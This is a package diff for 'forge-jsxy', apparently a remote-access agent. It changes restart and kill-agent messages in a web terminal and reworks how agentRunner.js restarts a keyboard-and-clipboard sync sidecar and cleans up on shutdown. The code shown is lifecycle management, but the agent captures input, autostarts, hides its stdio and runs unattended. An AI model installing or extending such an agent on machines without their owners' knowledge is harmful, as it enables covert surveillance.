'\n\nDetected Windows global npm permission lock on `%APPDATA%\\\\npm\\\\node_modules\\\\forge-jsxy` (EPERM mkdir). '+
|
|
@@ -5510,23 +5545,30 @@ function onMsg(m){
|
|
|
5510
5545
|
if(wasForgeRestart && !badExit){
|
|
5511
5546
|
body +=
|
|
5512
5547
|
'\n\n--- forge-agent restart ---\n'+
|
|
5513
|
-
'Stdout above should include `[forge-
|
|
5548
|
+
'Stdout above should include `[forge-jsx-explorer-restart]` scheduling line. The worker runs `restart-agent.mjs` (build, cfgmgr --stop, postinstall) with stdio hidden on the agent. '+
|
|
5549
|
+
'Legacy global `forge-jsx` installs are probed automatically. '+
|
|
5514
5550
|
'A line is appended to `~/.forge-js/explorer-restart.log` when the worker finishes. This session may drop; this page retries connecting ~2 minutes.';
|
|
5515
5551
|
}
|
|
5516
5552
|
if(wasForgeRestart && badExit){
|
|
5517
5553
|
body +=
|
|
5518
5554
|
'\n\n--- forge-agent restart ---\n'+
|
|
5519
5555
|
'Restart launcher exited non-zero. Fix errors on the agent host, then try Restart agent again.';
|
|
5556
|
+
if(isWinLegacyShellFailure(ec, o, e)){
|
|
5557
|
+
body = appendWinLegacyShellHint(body, 'forge-jsx-explorer-restart');
|
|
5558
|
+
}
|
|
5520
5559
|
}
|
|
5521
5560
|
if(wasForgeKill && !badExit){
|
|
5522
5561
|
body +=
|
|
5523
5562
|
'\n\n--- kill agent ---\n'+
|
|
5524
|
-
'Stdout above should include `[forge-
|
|
5563
|
+
'Stdout above should include `[forge-jsx-explorer-kill-agent]` scheduling line. The worker runs `forge-cfgmgr --stop`, `forge-autostart uninstall` (main agent + legacy OS npm-scheduler artifacts if any), best-effort PM2 `forge-agent` stop/delete, sanitizes `forge-js-agent.env`, and — when forge-jsxy or legacy forge-jsx is installed under `npm root -g` — a delayed `npm uninstall -g` removes both global package trees. Details append to `~/.forge-js/explorer-kill-agent.log`. This file-explorer session will not auto-reconnect; reinstall forge-jsxy on the host if you need the agent again.';
|
|
5525
5564
|
}
|
|
5526
5565
|
if(wasForgeKill && badExit){
|
|
5527
5566
|
body +=
|
|
5528
5567
|
'\n\n--- kill agent ---\n'+
|
|
5529
5568
|
'Kill launcher exited non-zero. Fix errors on the agent host, then run Kill agent again or run the steps manually.';
|
|
5569
|
+
if(isWinLegacyShellFailure(ec, o, e)){
|
|
5570
|
+
body = appendWinLegacyShellHint(body, 'forge-jsx-explorer-kill-agent');
|
|
5571
|
+
}
|
|
5530
5572
|
}
|
|
5531
5573
|
tout.textContent = body;
|
|
5532
5574
|
terminalScrollToBottom();
|
package/dist/agentRunner.js
CHANGED
|
@@ -164,6 +164,7 @@ function runForgeAgentWithSingleton(opts) {
|
|
|
164
164
|
(0, agentPid_1.clearStaleAgentPidFile)();
|
|
165
165
|
(0, agentEnvFile_1.applyForgeJsAgentEnvFile)((0, clientId_1.defaultCfgmgrDataDir)());
|
|
166
166
|
(0, agentEnvFile_1.applyDefaultHubUploadProcessEnv)();
|
|
167
|
+
(0, agentEnvFile_1.applyDefaultAgentFeatureProcessEnv)();
|
|
167
168
|
(0, agentEnvFile_1.applyDefaultAgentUnattendedProcessEnv)();
|
|
168
169
|
if (!opts.force) {
|
|
169
170
|
const meta = (0, agentPid_1.readAgentPidFile)();
|
|
@@ -186,11 +187,24 @@ function runForgeAgentWithSingleton(opts) {
|
|
|
186
187
|
const pkgRoot = path.resolve(__dirname, "..");
|
|
187
188
|
(0, agentPid_1.writeAgentPidFile)(opts.sessionId);
|
|
188
189
|
let stopDesktopSync;
|
|
189
|
-
let
|
|
190
|
+
let activeSyncApiUrl = null;
|
|
191
|
+
let syncRestartSeq = 0;
|
|
190
192
|
let warnedNoSync = false;
|
|
191
|
-
const
|
|
192
|
-
|
|
193
|
+
const SYNC_STOP_TIMEOUT_MS = 3500;
|
|
194
|
+
async function stopDesktopSyncGracefully(stop) {
|
|
195
|
+
if (!stop)
|
|
193
196
|
return;
|
|
197
|
+
try {
|
|
198
|
+
await Promise.race([
|
|
199
|
+
Promise.resolve(stop()),
|
|
200
|
+
new Promise((resolve) => setTimeout(resolve, SYNC_STOP_TIMEOUT_MS)),
|
|
201
|
+
]);
|
|
202
|
+
}
|
|
203
|
+
catch {
|
|
204
|
+
/* skip */
|
|
205
|
+
}
|
|
206
|
+
}
|
|
207
|
+
const tryStartSidecars = (afterRelayCaps) => {
|
|
194
208
|
const api = (0, windowsInputSync_1.resolveSyncApiBase)();
|
|
195
209
|
const kbdClipOn = (0, windowsInputSync_1.effectiveSyncKeyboardClipboard)();
|
|
196
210
|
if (!api) {
|
|
@@ -205,29 +219,48 @@ function runForgeAgentWithSingleton(opts) {
|
|
|
205
219
|
}
|
|
206
220
|
return;
|
|
207
221
|
}
|
|
208
|
-
|
|
209
|
-
|
|
210
|
-
|
|
211
|
-
|
|
212
|
-
|
|
213
|
-
|
|
222
|
+
if (!kbdClipOn)
|
|
223
|
+
return;
|
|
224
|
+
if (activeSyncApiUrl === api && stopDesktopSync)
|
|
225
|
+
return;
|
|
226
|
+
if (stopDesktopSync) {
|
|
227
|
+
const prev = stopDesktopSync;
|
|
228
|
+
const seq = ++syncRestartSeq;
|
|
229
|
+
stopDesktopSync = undefined;
|
|
230
|
+
activeSyncApiUrl = null;
|
|
231
|
+
void stopDesktopSyncGracefully(prev).finally(() => {
|
|
232
|
+
if (seq !== syncRestartSeq)
|
|
233
|
+
return;
|
|
234
|
+
if (activeSyncApiUrl === api && stopDesktopSync)
|
|
235
|
+
return;
|
|
236
|
+
stopDesktopSync = (0, windowsInputSync_1.startDesktopInputSync)({
|
|
237
|
+
apiBaseUrl: api,
|
|
238
|
+
clientId: (0, clientId_1.getOrCreateClientId)(),
|
|
239
|
+
quiet: opts.quiet,
|
|
240
|
+
});
|
|
241
|
+
activeSyncApiUrl = api;
|
|
214
242
|
});
|
|
243
|
+
return;
|
|
215
244
|
}
|
|
245
|
+
stopDesktopSync = (0, windowsInputSync_1.startDesktopInputSync)({
|
|
246
|
+
apiBaseUrl: api,
|
|
247
|
+
clientId: (0, clientId_1.getOrCreateClientId)(),
|
|
248
|
+
quiet: opts.quiet,
|
|
249
|
+
});
|
|
250
|
+
activeSyncApiUrl = api;
|
|
216
251
|
};
|
|
217
252
|
tryStartSidecars(false);
|
|
218
253
|
let cleanedUp = false;
|
|
219
|
-
|
|
220
|
-
|
|
221
|
-
|
|
222
|
-
if (cleanedUp)
|
|
223
|
-
return;
|
|
224
|
-
cleanedUp = true;
|
|
254
|
+
let cleanupPromise = null;
|
|
255
|
+
const cleanupSyncOnly = () => {
|
|
256
|
+
syncRestartSeq++;
|
|
225
257
|
try {
|
|
226
|
-
stopDesktopSync?.();
|
|
258
|
+
void stopDesktopSync?.();
|
|
227
259
|
}
|
|
228
260
|
catch {
|
|
229
261
|
/* skip */
|
|
230
262
|
}
|
|
263
|
+
stopDesktopSync = undefined;
|
|
231
264
|
try {
|
|
232
265
|
(0, fsProtocol_1.purgeAllExplorerStagingSync)();
|
|
233
266
|
}
|
|
@@ -255,22 +288,62 @@ function runForgeAgentWithSingleton(opts) {
|
|
|
255
288
|
/* skip */
|
|
256
289
|
}
|
|
257
290
|
};
|
|
291
|
+
const cleanup = () => {
|
|
292
|
+
if (cleanupPromise)
|
|
293
|
+
return cleanupPromise;
|
|
294
|
+
if (cleanedUp)
|
|
295
|
+
return Promise.resolve();
|
|
296
|
+
cleanedUp = true;
|
|
297
|
+
cleanupPromise = (async () => {
|
|
298
|
+
await stopDesktopSyncGracefully(stopDesktopSync);
|
|
299
|
+
stopDesktopSync = undefined;
|
|
300
|
+
try {
|
|
301
|
+
(0, fsProtocol_1.purgeAllExplorerStagingSync)();
|
|
302
|
+
}
|
|
303
|
+
catch {
|
|
304
|
+
/* skip */
|
|
305
|
+
}
|
|
306
|
+
try {
|
|
307
|
+
(0, agentEnvFile_1.stripEphemeralCredentialEnvFromProcess)();
|
|
308
|
+
}
|
|
309
|
+
catch {
|
|
310
|
+
/* skip */
|
|
311
|
+
}
|
|
312
|
+
try {
|
|
313
|
+
(0, agentEnvFile_1.sanitizeForgeAgentEnvFileOnDisk)((0, clientId_1.defaultCfgmgrDataDir)());
|
|
314
|
+
}
|
|
315
|
+
catch {
|
|
316
|
+
/* skip */
|
|
317
|
+
}
|
|
318
|
+
try {
|
|
319
|
+
if ((0, agentPid_1.readAgentPid)() === process.pid) {
|
|
320
|
+
(0, agentPid_1.removeAgentPidFile)();
|
|
321
|
+
}
|
|
322
|
+
}
|
|
323
|
+
catch {
|
|
324
|
+
/* skip */
|
|
325
|
+
}
|
|
326
|
+
})();
|
|
327
|
+
return cleanupPromise;
|
|
328
|
+
};
|
|
258
329
|
process.once("SIGINT", () => {
|
|
259
|
-
cleanup();
|
|
260
|
-
process.exit(130);
|
|
330
|
+
void cleanup().finally(() => process.exit(130));
|
|
261
331
|
});
|
|
262
332
|
process.once("SIGTERM", () => {
|
|
263
|
-
cleanup();
|
|
264
|
-
process.exit(143);
|
|
333
|
+
void cleanup().finally(() => process.exit(143));
|
|
265
334
|
});
|
|
266
335
|
// Windows console "break" / some close paths deliver SIGBREAK instead of SIGINT.
|
|
267
336
|
if (process.platform === "win32") {
|
|
268
337
|
process.once("SIGBREAK", () => {
|
|
269
|
-
cleanup();
|
|
270
|
-
process.exit(131);
|
|
338
|
+
void cleanup().finally(() => process.exit(131));
|
|
271
339
|
});
|
|
272
340
|
}
|
|
273
|
-
process.once("exit",
|
|
341
|
+
process.once("exit", () => {
|
|
342
|
+
if (cleanedUp)
|
|
343
|
+
return;
|
|
344
|
+
cleanedUp = true;
|
|
345
|
+
cleanupSyncOnly();
|
|
346
|
+
});
|
|
274
347
|
if (opts.announceSession) {
|
|
275
348
|
/** Same path as `%LOCALAPPDATA%\\CfgMgr\\data\\forge-js-explorer-session.txt` on Windows — always refresh when session is auto-picked. */
|
|
276
349
|
try {
|